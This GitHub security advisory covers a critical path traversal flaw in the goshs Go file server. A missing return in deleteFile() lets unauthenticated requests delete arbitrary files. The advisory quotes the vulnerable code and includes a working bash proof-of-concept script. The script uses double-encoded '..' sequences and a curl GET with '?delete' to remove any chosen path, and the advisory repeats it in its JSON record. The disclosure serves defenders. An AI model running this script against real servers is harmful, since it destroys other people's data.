GHSA-6QCC-6Q27-WHP8

Vulnerability from github – Published: 2026-04-03 21:58 – Updated: 2026-04-07 14:19
VLAI?
Summary
goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Details

Summary

  • deleteFile() missing return after path traversal check | httpserver/handler.go:645-671

The finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/handler.go:645-671 Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)

The function detects .. in the decoded path but does not return.

func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
    upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))

    fileCleaned, _ := url.QueryUnescape(upath)
    if strings.Contains(fileCleaned, "..") {
        w.WriteHeader(500)
        _, err := w.Write([]byte("Cannot delete file"))
        if err != nil {
            logger.Errorf("error writing answer to client: %+v", err)
        }
        // BUG: no return, falls through to os.RemoveAll
    }

    deletePath := filepath.Join(fs.Webroot, fileCleaned)
    err := os.RemoveAll(deletePath)  // always executes

Root causes: Missing return after the guard makes the check dead code

Impact: Unauthenticated arbitrary file/directory deletion.

PoCs:

#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"

# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%252e%252e/"
done

# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")

URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"

echo "[*] Target:  ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")

echo "[*] HTTP ${HTTP_CODE}"

To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Severity ?
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/patrickhener/goshs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.5-0.20260401172448-237f3af891a9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:58:47Z",
    "nvd_published_at": "2026-04-06T22:16:23Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n* `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671`\n\nThe finding affects the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/handler.go:645-671`\n**Trigger:** `GET /\u003cpath\u003e?delete` (handler.go:157-160 dispatches to `deleteFile`)\n\nThe function detects `..` in the decoded path but does not `return`.\n\n```go\nfunc (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {\n    upath := filepath.FromSlash(filepath.Clean(\"/\" + strings.Trim(req.URL.Path, \"/\")))\n\n    fileCleaned, _ := url.QueryUnescape(upath)\n    if strings.Contains(fileCleaned, \"..\") {\n        w.WriteHeader(500)\n        _, err := w.Write([]byte(\"Cannot delete file\"))\n        if err != nil {\n            logger.Errorf(\"error writing answer to client: %+v\", err)\n        }\n        // BUG: no return, falls through to os.RemoveAll\n    }\n\n    deletePath := filepath.Join(fs.Webroot, fileCleaned)\n    err := os.RemoveAll(deletePath)  // always executes\n```\n\n**Root causes:**\nMissing `return` after the guard makes the check dead code\n\n**Impact:** Unauthenticated arbitrary file/directory deletion.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n# Delete an arbitrary file/directory on a running goshs instance.\n# Usage: ./arbitrary_delete.sh \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\nPORT=\"${2:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\nTARGET=\"${3:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003cabsolute-path-to-delete\u003e}\"\n\n# Double-encode \"..\" =\u003e %252e%252e\n# We don\u0027t know the webroot depth, so use 16 levels (covers most paths).\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n    TRAVERSAL=\"${TRAVERSAL}%252e%252e/\"\ndone\n\n# Strip leading / from target and URL-encode any special chars\nTARGET_REL=\"${TARGET#/}\"\nENCODED_TARGET=$(python3 -c \"import urllib.parse; print(urllib.parse.quote(\u0027$TARGET_REL\u0027, safe=\u0027/\u0027))\")\n\nURL=\"http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete\"\n\necho \"[*] Target:  ${TARGET}\"\necho \"[*] Request: GET ${URL}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$URL\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\n```\n\nTo execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.",
  "id": "GHSA-6qcc-6q27-whp8",
  "modified": "2026-04-07T14:19:34Z",
  "published": "2026-04-03T21:58:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-6qcc-6q27-whp8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35471"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/commit/237f3af891a90df9b903b85f1cd3438040ca261a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickhener/goshs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)"
}


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